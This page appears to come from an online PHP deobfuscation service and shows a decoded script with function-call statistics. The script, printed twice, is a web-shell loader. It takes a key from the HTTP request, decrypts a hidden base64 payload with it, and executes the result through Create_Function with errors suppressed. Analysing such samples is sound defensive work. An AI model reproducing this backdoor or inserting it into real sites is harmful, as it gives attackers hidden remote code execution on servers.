Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_reporting(0); set_time_limit(0); function My_base($data,$key){ $..
Decoded Output download
<?php
error_reporting(0);
set_time_limit(0);
function My_base($data,$key){
$key=md5($key);
$x=0;
$data=base64_decode($data);
$len = strlen($data);
$l = strlen($key);
$char='';
for ($i=0;$i< $len;$i++)
{
if ($x== $l) $x=0;
$char.=substr($key,$x,1);
$x++;
}
$str='';
for ($i=0;$i< $len;$i++)
{
if (ord(substr($data,$i,1))<ord(substr($char,$i,1)))
{
$str.=chr((ord(substr($data,$i,1))+256)-ord(substr($char,$i,1)));
}
else
{
$str.=chr(ord(substr($data,$i,1))-ord(substr($char,$i,1)));
}
}
return base64_decode($str);
}
if(@$_REQUEST['key']){
$key=$_REQUEST['key'];
$text=My_base('tn96sr2Ol5vGzrqtln16mo22nMqtrZ/Ofpqnnotifn+6jY5/uGiFl62Trp+VjaChlNCt1MKL0tiXqpSXf3R+e75phqXGaoCctai6q5WNipt8zKCY',$key);
$St=Create_Function('',$text);$St();
}else{
echo 'No input file specified.';
}
?>
Did this file decode correctly?
Original Code
<?php
error_reporting(0);
set_time_limit(0);
function My_base($data,$key){
$key=md5($key);
$x=0;
$data=base64_decode($data);
$len = strlen($data);
$l = strlen($key);
$char='';
for ($i=0;$i< $len;$i++)
{
if ($x== $l) $x=0;
$char.=substr($key,$x,1);
$x++;
}
$str='';
for ($i=0;$i< $len;$i++)
{
if (ord(substr($data,$i,1))<ord(substr($char,$i,1)))
{
$str.=chr((ord(substr($data,$i,1))+256)-ord(substr($char,$i,1)));
}
else
{
$str.=chr(ord(substr($data,$i,1))-ord(substr($char,$i,1)));
}
}
return base64_decode($str);
}
if(@$_REQUEST['key']){
$key=$_REQUEST['key'];
$text=My_base('tn96sr2Ol5vGzrqtln16mo22nMqtrZ/Ofpqnnotifn+6jY5/uGiFl62Trp+VjaChlNCt1MKL0tiXqpSXf3R+e75phqXGaoCctai6q5WNipt8zKCY',$key);
$St=Create_Function('',$text);$St();
}else{
echo 'No input file specified.';
}
?>
Function Calls
chr | 84 |
md5 | 1 |
ord | 336 |
strlen | 2 |
substr | 420 |
My_base | 1 |
base64_decode | 2 |
set_time_limit | 1 |
error_reporting | 1 |
Stats
MD5 | 753efa7614d8c8e5e76e515e55e2b7b4 |
Eval Count | 0 |
Decode Time | 968 ms |